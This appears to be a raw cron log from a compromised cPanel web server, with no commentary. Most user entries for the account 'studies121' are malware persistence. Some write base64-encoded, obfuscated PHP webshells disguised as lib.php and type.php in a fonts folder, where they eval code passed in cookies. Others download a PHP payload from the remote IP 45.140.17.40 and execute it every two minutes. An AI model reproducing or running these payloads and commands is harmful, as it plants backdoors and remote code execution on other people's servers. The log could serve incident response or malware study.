Sep  2 23:56:01 ip-184-168-122-23 CROND[32132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:57:01 ip-184-168-122-23 CROND[32216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:57:01 ip-184-168-122-23 CROND[32218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:57:01 ip-184-168-122-23 CROND[32219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:57:01 ip-184-168-122-23 CROND[32220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:58:01 ip-184-168-122-23 CROND[32297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:58:01 ip-184-168-122-23 CROND[32298]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:58:01 ip-184-168-122-23 CROND[32301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:58:01 ip-184-168-122-23 CROND[32302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:58:01 ip-184-168-122-23 CROND[32303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:59:01 ip-184-168-122-23 CROND[32400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:59:01 ip-184-168-122-23 CROND[32402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:59:01 ip-184-168-122-23 CROND[32399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:59:01 ip-184-168-122-23 CROND[32401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:00:01 ip-184-168-122-23 CROND[32491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:00:01 ip-184-168-122-23 CROND[32492]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:00:01 ip-184-168-122-23 CROND[32495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:00:01 ip-184-168-122-23 CROND[32494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:00:02 ip-184-168-122-23 CROND[32496]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:00:02 ip-184-168-122-23 CROND[32497]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:00:02 ip-184-168-122-23 CROND[32501]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 00:00:02 ip-184-168-122-23 CROND[32502]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 00:00:02 ip-184-168-122-23 CROND[32507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:01:01 ip-184-168-122-23 CROND[32622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:01:01 ip-184-168-122-23 CROND[32623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:01:01 ip-184-168-122-23 CROND[32628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:01:01 ip-184-168-122-23 CROND[32626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:01:01 ip-184-168-122-23 CROND[32630]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 00:01:01 ip-184-168-122-23 CROND[32629]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 00:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32630]: starting 0anacron
Sep  3 00:01:02 ip-184-168-122-23 anacron[32645]: Anacron started on 2026-09-03
Sep  3 00:01:02 ip-184-168-122-23 anacron[32645]: Normal exit (0 jobs run)
Sep  3 00:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32648]: finished 0anacron
Sep  3 00:02:01 ip-184-168-122-23 CROND[32721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:02:01 ip-184-168-122-23 CROND[32723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:02:01 ip-184-168-122-23 CROND[32724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:02:01 ip-184-168-122-23 CROND[32725]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:02:01 ip-184-168-122-23 CROND[32726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:03:01 ip-184-168-122-23 CROND[347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:03:01 ip-184-168-122-23 CROND[346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:03:01 ip-184-168-122-23 CROND[350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:03:01 ip-184-168-122-23 CROND[352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:04:01 ip-184-168-122-23 CROND[451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:04:01 ip-184-168-122-23 CROND[456]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:04:01 ip-184-168-122-23 CROND[457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:04:01 ip-184-168-122-23 CROND[455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:04:01 ip-184-168-122-23 CROND[458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:05:01 ip-184-168-122-23 CROND[653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:05:01 ip-184-168-122-23 CROND[655]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:05:01 ip-184-168-122-23 CROND[656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:05:01 ip-184-168-122-23 CROND[658]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 00:05:01 ip-184-168-122-23 CROND[657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:05:01 ip-184-168-122-23 CROND[659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:05:01 ip-184-168-122-23 CROND[660]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:06:01 ip-184-168-122-23 CROND[774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:06:01 ip-184-168-122-23 CROND[777]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:06:01 ip-184-168-122-23 CROND[778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:06:01 ip-184-168-122-23 CROND[779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:06:01 ip-184-168-122-23 CROND[780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:07:01 ip-184-168-122-23 CROND[869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:07:01 ip-184-168-122-23 CROND[871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:07:01 ip-184-168-122-23 CROND[872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:07:01 ip-184-168-122-23 CROND[873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:08:01 ip-184-168-122-23 CROND[966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:08:01 ip-184-168-122-23 CROND[968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:08:01 ip-184-168-122-23 CROND[969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:08:01 ip-184-168-122-23 CROND[970]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
